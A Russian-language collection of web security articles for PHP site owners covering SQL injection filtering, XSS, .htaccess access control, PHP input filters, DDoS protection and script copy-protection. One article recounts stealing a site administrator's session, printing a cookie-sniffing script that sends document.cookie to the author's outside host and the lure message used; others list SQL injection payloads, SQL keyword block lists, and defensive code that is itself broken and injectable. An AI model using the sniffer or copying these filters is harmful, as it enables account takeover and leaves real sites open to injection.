Безопасность (Статей: 18)

Может кому-то пригодится
Файл sql.php
<?php
 class InitVars {
 # Недопустимые слова в запросахINSERT
         var $deny_words = array('UNION','CHAR','INSERT','DELETE','SELECT','UPDATE','GROUP','ORDER','BENCHMARK','union','char','insert','delete','select','update','group','order','benchmark');
 
 function InitVars() {
 }
 
 # Метод конвентирует суперглобальные массивы $_POST, $_GET в перемнные
 # Например : $_GET['psw'] будет переобразовано в $psw с тем же значением
 function convertArray2Vars () {
 
         foreach($_GET as $_ind => $_val) {
                 global $$_ind;
                 if(is_array($$_ind)) $$_ind = htmlspecialchars(stripslashes($_val));
         }
 
         foreach($_POST as $_ind => $_val) {
                 global $$_ind;
                 if(is_array($$_ind)) $$_ind = htmlspecialchars(stripslashes($_val));
 
         }
 }
 
 # Метод проверяет $_GET и $_POST переменные на наличие опасных данных и SQL инъекций
 function checkVars() {
         //Проверка опасных данных.
         foreach($_GET as $_ind => $_val) {
                         $_GET[$_ind] = htmlspecialchars(stripslashes($_val));
 
                         $exp = explode(" ",$_GET[$_ind]);
                         foreach($exp as $ind => $val) {
                                 if(in_array($val,$this->deny_words)) $this->antihack("Запрещено!Доступ закрыт!<br>");
                         }
         }
 
         foreach($_POST as $_ind => $_val) {
                         $_POST[$_ind] = htmlspecialchars(stripslashes($_val));
 
                         $exp = explode(" ",$_POST[$_ind]);
                         foreach($exp as $ind => $val) {
                                 if(in_array($val,$this->deny_words)) $this->antihack("Запрещено!Доступ закрыт!<br>");
                         }
         }
 
 }
 
 function antihack($msg) {
     echo '<font color="red"><b>АХТУНГ: </b></font>'.$msg.'<br>\n';
     die;
 }
 
 }
 
 ?>

ну и
использование в удобном для вас месте этот код
#####################################
 include('путь/sql.php');
 
 $stop_injection = new InitVars();
 $stop_injection->checkVars();
 #####################################
я меня стоит сразу после подключения к бд krut
Межсайтовый скриптинг (Cross site scripting, XSS) — встраивание нежелательного кода в html-код страниц сайта. XSS можно условно разделить на пассивную и активную формы, которые мы рассмотрим ниже.

Пассивый XSS

Пассивный XSS основан на том, что GET-параметры в ряде случаев становятся частью текста страницы. Например, мы имеем скрипт поиска search.php, содержащий следующий код:
<?php 
// начало скрипта 
echo '<div>Вы искали: ' . $_GET['query'] . '</div>'; 
// продолжение скрипта, отображение результатов поиска и.т.д 
?>
Мы видим, что страница содержит заданный поисковой запрос. Если злоумышленник обратимся к скрипту следующим образом: search.php?query=<a href="http://example.com">my website</a> то на странице результатов поиска будет присутствовать ссылка на example.com. Затем злоумышленник сообщит адрес такой страницы результатов поисковым системам, и они будут считать, что ваш сайт ссылкается на expample.com на одной из своих страниц. Приведеный пример используется недобросовестными поисковыми оптимизаторами для внешних ссылок на свой сайт. В данном случае никакого взлома не происходит.
Пассивный XSS можно использовать и для встраивания javascript-сценариев, похищающих номера сессии, использующиеся для авторизации. Ограниченности пассивного XSS в том, что требуется передать пользователю URL, содержащий специально сформированные GET-параметры. URL часто присылается пользователю в спам-письме, или же пользователь перенаправляется на данный URL с сайта, контролируемого злоумышленником.

Активный XSS

Активный XSS работает на Web 2.0 сайтах, то есть на сайтах, содержимое которых создают сами пользователи. Нежелательные скрипты помещаются в сообщения на форумах, профиль пользователя или в личные сообщения. Например, в 2008 году на hаbгаhabr.ru получило хождение личное сообщение, которое содержало скрипт, отправляющий данное сообщение друзьям пользователя от его имени.
Вредоносный javascript-сценарий обычно передает злоумышленнику номер сессии пользователя и информацию из его cookie, которая позволяет получить контроль над аккаунтом пользователя.
Другие виды XSS
Среди других видов XSS можно отметить подмену кодировки в формируемом документе. Это возможно при двух условиях:
1. пользовательская информация попадает в тег <title> в нефильтрованном виде (часто это ник пользователя или его имя на странице профиля)
2. тег title находится в документе до тегов meta, определяющих кодировку
Более подробно можно прочитать про виды XSS в Википедии.
Требования к обработке внешних параметров
Чтобы не допустить межсайтовый скриптинг, следует внимательно фильтровать все данные, предоставляемые пользователем. Сформулируем ряд рекомендаций:

* Никогда не включайте параметры $_GET, $_POST, $_COOKIE напрямую в выдаваемый HTML. Если это текст, имеет смысл обработать его с помощью htmlspecialchars(), если атрибут alt для рисунка, то addslashes(), если url — urlencode(). Если пользователю разрешено использовать некоторые теги, протестируйте все варианты использования, чтобы в невозможности встраивания скриптов и вредоносного кода.
* Пользовательские данные — это не только параметры $_GET, $_POST, $_COOKIE. Информация в базе данных, а также информация, полученная в результате обработки сторонних сайтов также может быть сформирована пользователем.
* Не допускайте возможности загрузки произвольных файлов на сервер. Пользователь в таком случае сможет загрузить вредоносные скрипты и HTML-страницы. Загруженные пользователем файлы следует хранить в базе данных, а не в файловой системе, и перед отдачей пользователю проверять, что файл не будет исполняться браузером (Content-Type не должен соответствовать html, xml, и др.)
* Чем шире функциональные возможности сайта, тем больше возможностей XSS следует рассмотреть в целях обеспечения безопасности сайта.
Самый простой способ защиты от SQL-инъекции – «обрамлять» параметры SQL-запроса одиночными кавычками ('), поскольку через GET- и POST-запрос невозможно передать символ одиночной кавычки (он будет автоматически заменен сочетанием символов – \' – т.е. экранироваться).
SELECT * FROM `table_name` WHERE `param` = '$param_name' ORDER BY `sort` ASC;
SQL-запрос в случае инъекции будет выглядеть примерно так:
SELECT * FROM `table_name` WHERE `param` = '10 union select 1,2,3 /*' ORDER BY `sort` ASC;
Т.е. для обработчика запросов, при отбрасывании части запроса после /*, запрос будет выглядеть примерно так:
SELECT * FROM `table_name` WHERE `param` = '10 union select 1,2,3
Обработчик запросов, не найдя закрывающей кавычки посчитает этот запрос ошибочным и не выполнит его. Если попытаться GET-запросом передать фрагмент кода с кавычкой:
10' union select 1,2,3/*
, то, после отбрасывания комментария, SQL-запрос будет выглядеть так:
SELECT * FROM `table_name` WHERE `param` = '10\' union select 1,2,3
В этом случае обработчик также не выполнит этот запрос, потому что не найдет закрывающей кавычки, т.к. сочетание символов \' будет расценено не как закрывающая кавычка, а как внутренний символ ', который должен содержаться в поле `param`.
Однако такой способ не гарантирует стопроцентной защиты от SQL-инъекций. Приведем несколько дополнительных способов
Всегда проверяйте числовые параметры функцией intval. При проверке такого параметра:
10' union select 1,2,3/*
, функция intval вернет значение 10, что исключает возможность SQL-инъекции. Однако не все параметры являются числовыми. Например:
http://somesite.dom/index.php?section=about
Здесь параметр section является строковым, и функция intval здесь не может быть применена. Что бы избежать вредоносного запроса, можно воспользоваться следующими функциями:
mysql_escape_string – экранирует все спецсимволы;
Так же можно проверять строковые параметры на наличие в них таких слов как "select", "union", "order", "char", "where", "from".
Пример функции на PHP 5:
function escape_inj ($text) {
  $text = strtolower($text); // Приравниваем текст параметра к нижнему регистру
  if (
    !strpos($text, "select") && // 
    !strpos($text, "union") && //
    !strpos($text, "select") && //
    !strpos($text, "order") && // Ищем вхождение слов в параметре
    !strpos($text, "where") && // 
    !strpos($text, "char") && //
    !strpos($text, "from") //
  ) {
    return true; // Вхождений нету - возвращаем true
  } else {
    return false; // Вхождения есть - возвращаем false
  }
}
$section = $_GET[section]; // Читаем параметр
if (!escape_inj ($section)) { // Проверяем параметр
  echo "Это SQL-инъекция.";
  exit ();
} else {
  $result = mysql_query ("SELECT * FROM `tbl_name` WHERE `section` = $section ");
  ... // Продолжаем работу
}
Никогда не храните пароли в базе данных в открытом виде, обязательно шифруйте их (например, функцией sha1). С помощью SQL-инъекции легко "достать" данные из базы данных, а если они будут зашифрованы, то есть большая вероятность того, что злоумышленник не сможет ими воспользоваться.
Для обеспечения конфиденциальности логина и пароля для доступа к базе данных, функции подключения к базе данных лучше хранить в отдельном файле и подключать его в каждой странице сайта.
Так же, отключение вывода на экран ошибок, возникших при неверном запросе, сильно усложняет задачу злоумышленнику. Что бы отключить вывод ошибок достаточно написать следующее (например, в файле подключения базы данных):
ini_set('display_errors', '0');
Старайтесь проверять результат каждого выполняемого запроса на выполнение и количество найденных записей. Если их количество равно нулю, перенаправляйте пользователя, например, на главную страницу, это обеспечит хорошую защиту от SQL-инъекций.
Пример на PHP 5:
$section = $_GET[section]; // Читаем параметр
$result = mysql_query ("SELECT * FROM `tbl_name` WHERE `section` = $section "); // выполняем запрос
if (!$result || mysql_num_rows ($result) == 0) { // Кол-во найденных полей = 0, или запрос не был выполнен
  header ("Location: http://$_SERVER[HTTP_HOST]/"); // Уходим на главную страницу
  exit ();
} else {
  ... // Продолжаем работу
}
Если Ваш сайт не содержит разделов, в которых производится запись или редактирование строк в базе данных, то необходимо у пользователя базы данных, под которым происходит соединение с базой, отключить все права, кроме права на чтение данных. По-умолчанию, у пользователя базы данных есть права и на удаление, и на редактирование. Для разделов сайта, требующих больших прав, например книга отзывов или форум стоит завести отдельного пользователя, у которого будет право на редактирование только конкретной таблицы. А для системы управления сайтом необходимо завести отдельного пользователя базы данных, т.к. ему необходимы полные права.
Все описанные выше способы не гарантируют стопроцентной защиты от SQL-инъекций, однако, помогут предотвратить их в подавляющем большинстве случаев. krut
Всем привет! Сегодня, я вам расскажу об одной уязвимости, найденной на сайте wap.infan.ru. С помощью которой я получил доступ к профилю администратора.

Многие слышали, а может даже пользовались так называемыми анонимайзерами. На сайте wap.infan.ru есть подобный сервис. Называется он: Wap-proxy.

В общем-то все как у всех, только в дополнении есть возможность резать картинки, для удобного просмотра на телефоне и экономии трафика.
Но не в этом суть.
Анонимайзер находится на отдельном суб.домене. Для каждого сайта суб.домен создается динамически.
Пример: wap.sasisa.ru.wproxy.infan.ru
С одной стороны, в чем может быть уязвимость?
При детальном рассмотрении, можно обнаружить, что куки передаются пользователю как обычно и не хранятся на сервере. При запросе страницы через анонимайзер куки преобразуются и передаются на запрошенный сайт.
В этом и была ошибка!
На суб.домене хранятся куки от основного домена. То есть сессия и автовход. Что нам и требуется украсть.
Регистрируем сайт на бесплатном хостинге. Не обязательна поддержка php, достаточно html.
Я использовал для этих целей взломанный сайт на wap конструкторе wen.ru
В тело главной страницы встроил js код, запрашивающий с моего локального сервера картинку снифер. С выбором снифера и его установкой, я думаю разберетесь.
Осталось дело за малым, дать ссылку пользователю или администрации. Взламывать мы будем конечно админа.
Через форму обратной связи пишем:
\"Здравствуйте! У меня возникла проблема с анонимайзером. Не открывается следующий сайт: http://evilsite.wen.ru.wproxy.infan.ru\"
И отправляем!
После чего ждем, когда администратор зайдет и проверит почту.
У нас же в снифере должна появится сессия админа и если есть печенье для автовхода.
Таким образом я получил доступ к учетной записи администратора форума 7sky, к сожалению кроме управления форума, больше никакого доступа я не получил.
Не знаю к какой категории отнести данную уязвимость, это вроде и xss, но совершенно другого уровня.
Многие слышали, а может даже пользовались так называемыми анонимайзерами. На сайте wap.infan.ru есть подобный сервис. Называется он: Wap-proxy. В общем-то все как у всех, только в дополнении есть возможность резать картинки, для удобного просмотра на телефоне и экономии трафика.

Но не в этом суть. Анонимайзер находится на отдельном суб.домене. Для каждого сайта субдомен создается динамически. Пример: wap.sasisa.ru.wproxy.infan.ru

С одной стороны, в чем может быть уязвимость? При детальном рассмотрении, можно обнаружить, что куки передаются пользователю как обычно и не хранятся на сервере. При запросе страницы через анонимайзер куки преобразуются и передаются на запрошенный сайт. В этом и была ошибка! На субдомене хранятся куки от основного домена. То есть сессия и автовход. Что нам и требуется украсть.

Регистрируем сайт на бесплатном хостинге. Не обязательна поддержка php, достаточно html. Я использовал для этих целей взломанный сайт на wap конструкторе wen.ru. В тело главной страницы встроил js код, запрашивающий с моего локального сервера картинку снифер. С выбором снифера и его установкой, я думаю разберетесь.



js sniffer
<script>
img = new Image();
img.src = \"http://mylocalserver.dyndns.org/s.php?\"+document.cookie;
</script>


Осталось дело за малым, дать ссылку пользователю или администрации. Взламывать мы будем конечно админа.

Через форму обратной связи пишем: \"Здравствуйте! У меня возникла проблема с анонимайзером. Не открывается следующий сайт: http://evilsite.wen.ru.wproxy.infan.ru\" И отправляем!

После чего ждем, когда администратор зайдет и проверит почту. У нас же в снифере должна появится сессия админа и если есть печенье для автовхода. Таким образом я получил доступ к учетной записи администратора форума 7sky, к сожалению кроме управления форума, больше никакого доступа я не получил.
Не знаю к какой категории отнести данную уязвимость, это вроде и xss, но совершенно другого уровня.
После взлома, я тут же сообщил администрации о наличии уязвимости, надеюсь в ближайшее время уязвимость уберут.

Внимание статья предоставлена в целях ознакомления уязвимостей.
Файл .htaccess является обычным текстовым файлом, и создать его можно в любом текстовом редакторе, не использующем функций сохранения форматирования текста. Для наших целей вполне подойдет «Блокнот» из комплекта Windows, а вот Word не подойдет.

Итак, закрываем доступ. Для этого создаем новый текстовый документ с именем .htaccess и пишем в него такую строчку:

deny from all

сохраняем файл в выбранной папке на сервере, и никто не сможет получить доступ ни к одному файлу из этой папки, включая все вложенные папки. Но Вы тоже не сможете получить доступ к этим файлам, а это не есть хорошо. Если Вы работаете с определенного IP-адреса, можно разрешить доступ для себя таким образом:

order deny,allow
deny from all
allow from 213.145.130.1

Теперь доступ будет открыт, в том случае если запрос пришел с IP 213.145.130.1, но и этот вариант не удобен. Если вы работаете через Dial-Up у Вас IP-адрес динамический.
Можно открыть доступ для определенного хоста. Например:

order deny,allow
deny from all
allow from .mysite.com

доступ будет открыт в том случае, если запрос пришел с хоста mysite.com Можно ограничить доступ не только ко всем файлам в папке, но и к определенным файлам или файлам определенного типа. Это нужно, для того чтобы закрыть доступ к файлам с паролями, настройкам скрипта, информации для подключения к базе данных и т.п
Может случиться такая ситуация когда Вы делаете папку к которой должны иметь доступ только Вы или еще несколько пользователей. Причем, пользователи не меняются часто и не имеет смысла использовать скрипты как в гостевых книгах или форумах. Например, это будет раздел сайта только для администраторов. В этом случае средствами Apache можно поставить пароль на директорию и использовать мы будем уже два файла, а именно .htaccess и .htpasswd. В первом из них мы пропишем ограничение доступа, а во втором будем хранить пароли и логины.

Сначала создаем файл .htaccess со следующим содержанием:

AuthName "Вход только для администраторов"
AuthType Basic
AuthUserFile /home/mysite/public_html/.htpasswd
require valid-user

где AuthUserFile /home/mysite/public_html/.htpasswd – путь к файлу с логинами и паролями доступа к этой директории. Затем создаем файл .htpasswd, в котором пишем логин и пароль разделенные двоеточием. Пример написания:

admin:password

и сохраняем его в том месте, на который указывает путь AuthUserFile /home/mysite/public_html/.htpasswd, а файл .htaccess сохраняем в защищаемой директории и после обращения к этой директории браузер выведет стандартную форму аутентификации, в которую нужно будет ввести имя и пароль для доступа.

В этой ситуации можно дополнительно защитить пароль, зашифровав его с помощью алгоритма MD5. Удобнее всего это будет сделать с помощью специальной утилиты входящей в поставку web-сервера Apache. Называется она htpasswd.exe и находится в папке bin Apache. Если у Вас нет дистрибутива Apache – Вы можете скачать эту утилиту здесь.

Теперь запустите ее из командной строки: htpasswd.exe -cm .htpasswd admin, где:

-cm – это команды на создание файла с использованием MD5;
.htpasswd – имя файла, который будет создан;
admin – имя пользователя.

После запуска Вам будет выдан запрос на ввод пароля и подтверждение. В результате будет создан файл .htpasswd примерно такого содержания:

admin:$apr1$9o0.....$3nAi6rAX1RtHDzL7PPW/i/

что соответствует логину – admin и паролю – password
Кстати таким образом можно закрывать не только директории, но и отдельные файлы или группы файлов. При добавлении пользователя в существующий файл команду –cm нужно изменить на –m.

Теперь я хочу сказать несколько слов об обработке ошибок сервером Apache. Такими ошибками являются страницы 401, 403, 404, 405 и 500. Попадание пользователя на такую страницу очень вредит Вашему сайту. Вы теряете целевого посетителя Вашего сайта. Поэтому рекомендую Вам создать альтернативные страницы обработки ошибок, где будет дана возможность перейти на другую страницу сайта или связаться с Вами. А чтобы обработка ошибок производилась с помощью Ваших страниц, создайте файл .htaccess такого содержания:

ErrorDocument 401 /401.html
ErrorDocument 403 /403.html
ErrorDocument 404 /404.html
ErrorDocument 500 /500.html

и сохраните его в корневой папке вашего сайта. Единственное ограничение – размер страниц. Если они будут меньше чем 512 байт, то сервер выдаст свое сообщение об ошибке.

Возможности настройки web-сервера Apache с помощью файла .htaccess не ограничиваются теми директивами, которые я привел в этой статье. Все возможности настройки Вы можете найти в руководстве пользователя по Apache.
Сайт автора http://irus.h2m.ru
Фильтрация входных данных — одна из самых важных вещей, которой надо уделять внимание при разработке веб-сайта. Опытным программистам это известно, а новички пусть запомнят одну очень важную вещь:

Данным, полученным от пользователя, доверять нельзя.

Что это значит? А это значит то, что если нам нужно, чтобы пользователь ввел число, это совсем не означает, что он введет именно число. Он может ввести что угодно. И поэтому нам необходимо проверить корректность введенных пользователем данных и оградить себя от возможных вследствие этого ошибок и улучшить безопасность наших скриптов.

Обычно для этого пользуются регулярными выражениями, но начиная с версии 5.2.0, в PHP есть специальные функции, которые выполняют эту работу.


Введение
Как было отмечено выше, начиная с версии 5.2.0 в PHP присутствуют специальные функции для фильтрации данных. Одна из таких функций - filter_var. Сначала нам необходимо убедиться, что нужные нам функции установлены и доступны. Для этого напишем простенький скрипт:
<?php
if(function_exists('filter_list')){
echo 'Cписок фильтров установлен!';
}else{
echo 'Ошибка: фильтры не найдены.';
}
?>
Если все в порядке и функции фильтров установлены, давайте продолжим. Взглянем на список установленных фильтров. Получить список фильтров можно уже известной нам функцией filter_list:
<?php
echo '<ul>'."\n";
$filters=filter_list();
foreach($filters as $filter){   
echo '<li>'.$filter.'</li>'."\n";
}
echo '</ul>'."\n";
?>
В результате выполнения этой программы мы получим список фильтров, которыми можем пользоваться.


Три способа фильтрации данных
Существует три основных способа фильтрации входных данных:


Validate (проверка) — позволяет проверить и убедиться в том, что введенные данные действительно являются тем, что ожидается. Флаги проверки имеют префикс FILTER_VALIDATE_
Sanitize (очистка) — “Очищает” входящие данные. Убирает, экранирует или кодирует недозволенные символы. Флаги очистки начинаются с FILTER_SANITIZE_
Flags (флаги) — с помощью флагов вы можете задавать различные варианты поведения фильтров. Флаги бывают как общими для всех фильтров, так и специфические флаги для конкретных фильтров. Обычно они начинаются с FILTER_FLAG_
filter_var($var, FLAG[, FLAGS])
Функция filter_var() принимает как минимум два параметра — имя переменной, которую вы собираетесь фильтровать и флаг. Давайте начнем с примера, который очень часто требуется: валидация (проверка) корректности e-mail адреса. Для этого мы будем использовать функцию filter_var() и флаг FILTER_VALIDATE_EMAIL.
<?
$email='fgdjkdgdfghdsdfj';
$valid_email=filter_var($email,FILTER_VALIDATE_EMAIL);
?>
Результат работы этой функции имеет логический тип(bool) и принимает значение true если строка успешно прошла через фильтр, и false в обратном случае:
<?
if($valid_email!== false){
echo 'E-mail адрес корректный';
}else{
echo 'Некорректный E-mail адрес';
}
?>
Так как fgdjkdgdfghdsdfj — это, конечно же, некорректный e-mail адрес, то фильтр вернет false. Все очень просто, не так ли? Всего лишь вызов одной функции вместо громоздкого регулярного выражения.


Константы фильтров (флаги)
Давайте для примера создадим несколько различных переменных, на которых и будем демонстрировать наши фильтры.
<?
$int = 432;   
$bool = true;   
$float = 432.43;   
$reg = "/^([a-zA-Z0-9 ]){4,16}$/";   
$url = "http://devolio.com/blog";   
$email = 'joey@devolio.com';   
$ipaddr = '127.0.0.1';   
$ipres = "192.168.0.*";   
$ipv6addr = "2001:0db8:85a3:08d3:1319:8a2e:0370:7334";   
$string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234 567890`~!@#$%^&*()-_=+[{]};:'\"<,>.?/|\\n\\r\\t";   
$int_octal = decoct(800.82);   
$int_hex = dechex(800.82);
?> 
Также обратите внимание, что переменная $string содержит символы табуляции и переносы строк, для того чтобы лучше было видно что именно фильтруется.

Ниже представлены константы фильтров, которые мы будем использовть. Кстати говоря, это не все фильтры, которые существуют.


Проверка типа переменной и валидация*
* Валидация дает уверенность в том, что вы получите именно то что надо, или вообще ничего.

FILTER_VALIDATE_INT — проверка на целое число.
<?
$valid_int = filter_var($int, FILTER_VALIDATE_INT);
if($valid_int !== false){
// проверка прошла успешно, $valid_int — целое число
}else{
// проверка не прошла
}
?>
FILTER_VALIDATE_FLOAT — проверка на число с плавающей точкой

FILTER_VALIDATE_BOOLEAN — проверка на булево число

FILTER_VALIDATE_URL — проверка на URL-адрес

FILTER_VALIDATE_EMAIL — уже знакомая нам проверка e-mail адреса

FILTER_VALIDATE_IP — проверка IP-адреса

FILTER_UNSAFE_RAW — проверка на небезопасный, "сырой" текст.


Очистка данных
Очистка данных позволяет убрать или закодировать символы в контексте ваших потребностей.

FILTER_SANITIZE_STRING — базовая очистка строки. Удаляет символы <>?
<?
$san_string = filter_var($string, FILTER_SANITIZE_STRING);
?> 
FILTER_SANITIZE_STRIPPED — базовая очистка строки. Удаляет символы <>?

FILTER_SANITIZE_ENCODED — кодирует символы `~!@#$%^&*()=+[{]};:'".?/| в %hex

FILTER_SANITIZE_SPECIAL_CHARS — кодирует специальные символы <>&" в &type;

FILTER_SANITIZE_EMAIL — убирает символы <>();:,\”

FILTER_SANITIZE_URL — оставляет только a-zA-Z0-9`~!@#$%^&*()-_=+[{]};:'"<,>.?/|

FILTER_SANITIZE_NUMBER_INT — оставляет только 1234567890-+

FILTER_SANITIZE_NUMBER_FLOAT — оставляет только 1234567890-+.

FILTER_SANITIZE_MAGIC_QUOTES — кодирует '”\, точно так же как и magic quotes


Флаги
Флаги — это дополнительные параметры фильтров. Большинство флагов предназначено для конкретных режимов проверки/очистки.

FILTER_FLAG_ALLOW_OCTAL (только для фильтров *_INT) — разрешает восьмеричные цифры для фильтров *_INT.
<?
$allow_octal = filter_var($int_octal, FILTER_SANITIZE_NUMBER_INT, FILTER_FLAG_ALLOW_OCTAL);
?>
FILTER_FLAG_ALLOW_HEX (*_INT filters only) — разрешает шестнадцатиричные цифры для фильтров *_INT.

FILTER_FLAG_STRIP_LOW — вырезает все символы, код которых меньше 32 (ASCII)

FILTER_FLAG_STRIP_HIGH — вырезает все символы с кодами больше 127 (ASCII)

FILTER_FLAG_ENCODE_LOW — кодирует все символы, код которых меньше 32 (ASCII)

FILTER_FLAG_ENCODE_HIGH — кодирует все символы с кодами больше 127 (ASCII)

FILTER_FLAG_NO_ENCODE_QUOTES — игнорирует символы ' и "

FILTER_FLAG_ALLOW_FRACTION (только для фильтров *_NUMBER_FLOAT) — разрешает только 1234567890-+.

FILTER_FLAG_ALLOW_THOUSAND (только для фильтров *_NUMBER_FLOAT) — разрешает только 1234567890-+,

FILTER_FLAG_ALLOW_SCIENTIFIC (только для фильтров *_NUMBER_FLOAT) — разрешает только eE1234567890-+

FILTER_FLAG_SCHEME_REQUIRED (только для VALIDATE_URL) — требует присутствия схемы URL (http://, ftp:// и т.д.)

FILTER_FLAG_HOST_REQUIRED (только для VALIDATE_URL) — требует присутствия URL-хоста

FILTER_FLAG_PATH_REQUIRED (только для VALIDATE_URL) — требует присутствия URL-пути

FILTER_FLAG_QUERY_REQUIRED (только для VALIDATE_URL) — требует присутствия URL строки запроса

FILTER_FLAG_IPV4 (только для VALIDATE_IP) — требует, чтобы IP-адрес был в формате IPV4

FILTER_FLAG_IPV6 (только для VALIDATE_IP) — требует, чтобы IP-адрес был в формате IPV6

FILTER_FLAG_NO_RES_RANGE (только для VALIDATE_IP) — требует, чтобы IP-адрес не был в диапазоне зарезервированных адресов

FILTER_FLAG_NO_PRIV_RANGE (только для VALIDATE_IP) — требует, чтобы IP-адрес не был в диапазоне локальных адресов

FILTER_NULL_ON_FAILURE — Возвращает null вместо пустой строки, если не проходит проверка или какой-нибудь флаг
Статья информируется о ДДОС атаке так и защите от неё.
Что такое dos атака?
Собственно дословно термин «DoS» расшифровывается и переводится как «отказ в обслуживании». Соответственно dos атака (дос атака ) это действия направленные на то, чтобы спровоцировать такую реакцию оборудования. Термин « ddos » переводится как «распределенный отказ в обслуживании». Соответственно ddos атака ( ддос атака ) - распределённая атака типа «отказ в обслуживании». Проводится такая ддос атака с огромного количества различных ip адресов, принадлежащих зараженным компьютерам. Не всегда то, что выглядит как дос атака , является именно ею. Иногда отказ в обслуживании может быть вызван естественными причинами – например удачной рекламной компанией, после которой количество запросов на сервер превышает его пропускную способность.
Кому необходима защита от ddos атак?
В первую очередь ddos атака обычно направлена на организации, которые работают с деньгами. Поэтому защита от ддос атак требуется онлайн-казино, Интернет-магазинам и банкам, осуществляющим финансовые операции в сети. Во время различных политических событий anti ddos должен применяться на сайтах кандидатов в депутаты или президенты. Недавние события, связанные с выборами в Украине ещё раз подтвердили, что защита от ддос атак – это не прихоть, а необходимость. Для них защита от ддоса должна быть ещё более серьезной. Более того, лучше использовать хостинг с защитой от ddos.
Как защитить сайт от ddos?
Защита сайта от ddos атак - это сравнительно новое направление в науке. Совсем недавно если атаки происходили, то все они носили не слишком масштабный характер, и их можно было очень легко обнаружить. Сейчас ситуация изменилась. Специалисты говорят о том, что в 2009 году количество атак резко увеличилось, поэтому защита от ддос атак стала необходимой для успешной работы веб-ресурсов.
Сама по себе защита от ddos атак сервера или сайта – это процесс непрерывного поиска возможных угроз и своевременное их устранение. Лучше всего, если защита от ddos атак будет производиться на стороне оператора, поскольку именно там ddos ддос атака и возникает, прежде всего. Что касается компьютеров пользователей, то защита от ddos атак с их стороны будет менее эффективной. Оператору следует понять, что ддос атака для него всё равно неизбежна, поэтому нужно быть готовым к ней. Именно эти функции выполняет хорошая защита от ддос атак.
Защита от ддос атак в современных условиях
Сегодня борьба с ddos стала действительно актуальной, так как по мере развития технологий увеличивается не только мастерство специалистов, обеспечивающих достойные условия работы в сети Интернет, но и усиливается давление хакеров, которые применяют самые разнообразные способы для того, чтобы ддос атака была эффективной. Интересно, что ранее злоумышленниками производилась вполне безобидная флуд атака на сайт или же хакеры заражали компьютеры вирусами, которые было достаточно легко обнаружить, поскольку в результате действия таких программ исчезали файлы и переставали работать некоторые программы. Сегодня же хакеры стали хитрее, поэтому современная ддос атака практически незаметна для рядового пользователя. К тому же, злоумышленники постоянно пополняют свой арсенал знаний и навыков, разрабатывая зловредные приложения, из-за которых защита от ddos атак значительно усложняется. К сожалению, современные условия таковы, что защита от ддоса – это один из тех вопросов, которые требуют постоянного внимания.
Если Вам необходима стопроцентная ддос защита сайта, то существует достаточно действенный способ обеспечения безопасности системы – это администрирование. Метод анти ддос в данном случае заключается в круглосуточном мониторинге возможных атак на сервер. Ddos атака в этом случае будет отсекаться вручную.
Уверенная и защита от dos атак возможна в случаях аренды выделенного сервера. При этом защита от дос атак заключается в том, что за Вашей машиной ведётся постоянное наблюдение со стороны специалистов data-центра. Если пользователя интересует надёжная защита от ддоса , то при помощи выделенного сервера это становится возможным. Если пользователю нужно обеспечить сохранность и безопасность документов, он может разместить их на своём дисковом пространстве выделенного сервера. Защита от dos атак будет распространяться и на них.
Как защититься от ддос путём очищения трафика
Существует ещё одна защита от dos атак при помощи очищения трафика до его поступления на ресурс. Сегодня такая защита от дос атак также доступна и является достаточно эффективной, хотя все замаскированные и сложные атаки требуют привлечения операторских ресурсов, а также архитектуры для того, чтобы атака была предотвращена. При этом повышенная защита анти ddos также включает в себя разнообразные программно-аппаратные комплексы: системы самообучения (модуль защиты от ддос ), быстрого обнаружения и мгновенной фильтрации (скрипт защиты от ddos ). Такая защита от дос атак позволит владельцу веб-сайта чувствовать себя в безопасности.
Иногда применяются и другие способы защита сайта от дос атак , которые предусматривают наличие глубоких технических знаний и умений. При этом используются эвристические алгоритмы, которые способны отфильтровывать трафик, отделяя обычный пакет от аномального. Такие алгоритмы постоянно обновляются, поскольку вместе с новыми открытиями существенно растёт и мастерство хакеров.
На сегодняшний день организация защиты «анти ддос атака » может осуществляться на различных уровнях и с использованием различных инструментов. Всё это зависит от компании, которая предоставляет данную услугу. При этом заказчик и оператор системы, как правило, постоянно контактируют, а потом решают, когда защита от ddos необходима, а когда её можно прекратить.
Вообще же сейчас подобные атаки чрезвычайно распространены, поэтому, если Вы знаете, что у Вас имеются явные конкуренты, лучше всего, если Вы попытаетесь защитить свои ресурсы от возможных заказных атак. Они могут быть действительно серьёзными, в результате чего работа системы будет парализована, а Вы потеряете важных клиентов и, как следствие, денежные средства.
Ну вот и конец smile желаю стабильности вашему железу!
Бывает так, что вам неохота предоставлять исходные коды проектов, которые вы разрабатывали. Для этого можно использовать программы-обфускаторы, о которых недавно шла речь.
А бывает, что вам не так хочется закрыть исходный код, как защитить скрипт от копирования. На мой взгляд, сокрытие исходного кода, в большинстве случаев, не имеет смысла без защиты от копирования. Некоторые обфускаторы, шифрующие код (а не просто коверкающие), имеют возможность лочить скрипт под определенный домен или айпишник. Но, во-первых, мы же не хотим для каждого домена перешифровывать все исходники? Во-вторых, мне удалось разлочить эту защиту одной строкой в начале скрипта:
$_SERVER['HTTP_HOST']='разрешенный домен';
Я долго искал в интернете решение для защиты от копирования. На форумах этот вопрос часто обсуждался, в основном, задавали его новички, а опытные (видимо) программисты отвечали "— Ты дурак, кому нужен твой код. Учи матчасть, да и вообще php-скрипты ничего не достойны!". Что ж, подумал я. Наверное, действительно нельзя. Но подождите, тот же Битрикс (фу) выдает лицензии на отдельные сайты, при этом вы получаете открытый исходный код после покупки лицензии. Что же мешает скопировать его на несколько своих сайтов? Я не знаю, а если вы знаете — скажите мне пожалуйста.
В итоге, делать защиту от копирования пришлось самому. Я поставил такие исходные условия задачи:
Скрипт, очевидно, должен быть зашифрован, например Зендом. Но мне понравился Lock It — во-первых, он не требует Зенд Оптимайзера, и, во-вторых — стоит недорого. Но сейчас речь не о том, как шифровать скрипт, а как защитить его от копирования. Поэтому идем дальше, просто будем считать, что исходный код закрыт. Очевидно, что это необходимое условие.
Я хочу выдавать ключ (я назову его лицензией) на каждый экземпляр скрипта. То есть я хочу каждому человеку отдавать только лицензию, а скрипт пусть валяется во всеобщем доступе.
Лицензию привязывать к домену, но если у домена есть синонимы — скрипт должен работать и при обращении через них. Главное, чтоб это был один и тот же экземпляр скрипта.
Никаких коннектов на другой (мой) сервер. Скрипт должен быть самодостаточным.
Никакого доверия скрипта к серверным переменным или переменным окружения во время проверки лицензии. Их можно легко переопределить.
Решение
1. Выдача лицензии и проверка действительности лицензии скриптом
